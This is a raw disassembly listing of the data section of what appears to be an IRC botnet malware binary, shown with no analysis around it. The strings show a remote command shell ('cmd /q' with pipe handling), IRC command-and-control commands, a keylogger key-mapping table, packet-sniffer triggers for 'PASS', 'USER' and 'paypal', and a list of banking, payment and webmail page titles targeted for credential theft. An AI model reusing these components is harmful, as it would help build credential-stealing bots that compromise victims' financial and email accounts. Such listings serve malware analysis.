aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset word_505446	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
